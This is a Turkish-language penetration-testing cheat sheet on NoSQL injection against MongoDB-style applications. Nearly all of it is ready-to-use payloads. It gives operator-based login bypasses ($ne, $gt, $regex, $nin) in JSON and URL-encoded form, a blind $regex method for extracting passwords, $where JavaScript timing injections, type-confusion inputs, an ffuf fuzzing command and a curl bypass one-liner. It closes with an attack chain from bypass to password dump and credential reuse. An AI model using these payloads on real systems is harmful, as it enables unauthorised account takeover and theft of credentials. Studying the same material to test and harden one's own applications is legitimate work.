NoSQL Injection
OWASP A03 difficulty: orta
NoSQL Injection, MongoDB gibi belge tabanlı veritabanlarını kullanan uygulamalarda, kullanıcı girdisinin sorgu nesnesine güvenilmeden yerleştirilmesi sonucu ortaya çıkar. Klasik SQLi’den farkı; enjeksiyonun çoğu zaman operatör ($ne, $gt, $regex) veya JavaScript ($where) düzeyinde olmasıdır.
İki temel biçim
Section titled “İki temel biçim”Operatör enjeksiyonu — JSON'da string yerine {"$ne": null}Sözdizimi/JS — $where / mapReduce / $function içine kodKimlik doğrulama atlatma
Section titled “Kimlik doğrulama atlatma”{ "username": "admin", "password": "guess" }{ "username": "admin", "password": { "$ne": null } }{ "username": { "$gt": "" }, "password": { "$gt": "" } }{ "username": "admin", "password": { "$regex": "^.*" } }{ "username": "admin", "password": { "$nin": [] } }URL-encoded (qs parser):
username[$ne]=x&password[$ne]=xusername=admin&password[$regex]=^ausername[$exists]=true&password[$exists]=trueContent-Type’ı application/json yapıp aynı operatörleri gövdeye taşı.
Veri sızdırma (blind $regex)
Section titled “Veri sızdırma (blind $regex)”-
Karakter tahmin — password[$regex]=^a , ^b … yanıt farkı oracle.
-
Charset daralt — ^[0-9] / ^[a-f] sonra tek karakter.
-
Uzat — ^admin_pa , ^admin_pas …
-
Otomatikleştir — Intruder / script; oracle: status, length, JSON field.
password[$regex]=^secret$password[$regex]=^secpassword[$regex]=^s.*t$$where ile JavaScript
Section titled “$where ile JavaScript”' || '1'=='1'; return true; var x=''; sleep(5000); var x=''; var date = new Date(); do { cur = new Date(); } while(cur-date < 5000); var x='Modern MongoDB $where kısıtlayabilir; legacy’de ve $function aggregation’da risk sürer.
Operatör ile veri çekme
Section titled “Operatör ile veri çekme”{ "email": { "$regex": ".*@" } }{ "$or": [ { "role": "admin" }, { "role": "root" } ] }{ "age": { "$gt": 0 } }{ "username": { "$in": ["admin", "root", "sa"] } }$orderby / projection manipülasyonu bazı sürücülerde ekstra alan sızdırır.
Tespit
Section titled “Tespit”' " \ ; { } ]'"`{ ;$Foo}{"$ne": 1}ffuf -u https://hedef/login -X POST -H "Content-Type: application/json" \ -d '{"username":"admin","password":{"$FUZZ":null}}' \ -w <(printf '%s\n' ne gt lt regex nin in exists) -mc allArray / type confusion
Section titled “Array / type confusion”{ "username": ["admin"], "password": ["x"] }{ "username": null, "password": { "$ne": "" } }Bazı uygulamalar tip kontrolü yapmadan Mongo’ya iletir.
Diğer NoSQL’ler
Section titled “Diğer NoSQL’ler”CouchDB / Elasticsearch — script / query injectionRedis — komut enjeksiyonu (CRLF protokol; ayrı sınıf)Cassandra / CQL — SQLi'ye yakın sözdizimiChecklist
Section titled “Checklist”[ ] Login JSON + form $ne/$regex[ ] Search/filter uçları[ ] Blind regex extract[ ] $where timing[ ] Content-Type switch[ ] Operator wordlist IntruderKomut üreteci
Section titled “Komut üreteci”NoSQLi · curl bypass
embedded toolcurl -s -X POST https://hedef/login -d username[$ne]=x&password[$ne]=xNoSQLi · curl bypass
Section titled “NoSQLi · curl bypass”Saldırı zinciri
Section titled “Saldırı zinciri”JSON login → password[$ne]=null → admin oturumu → veya regex ile parola dump → reuse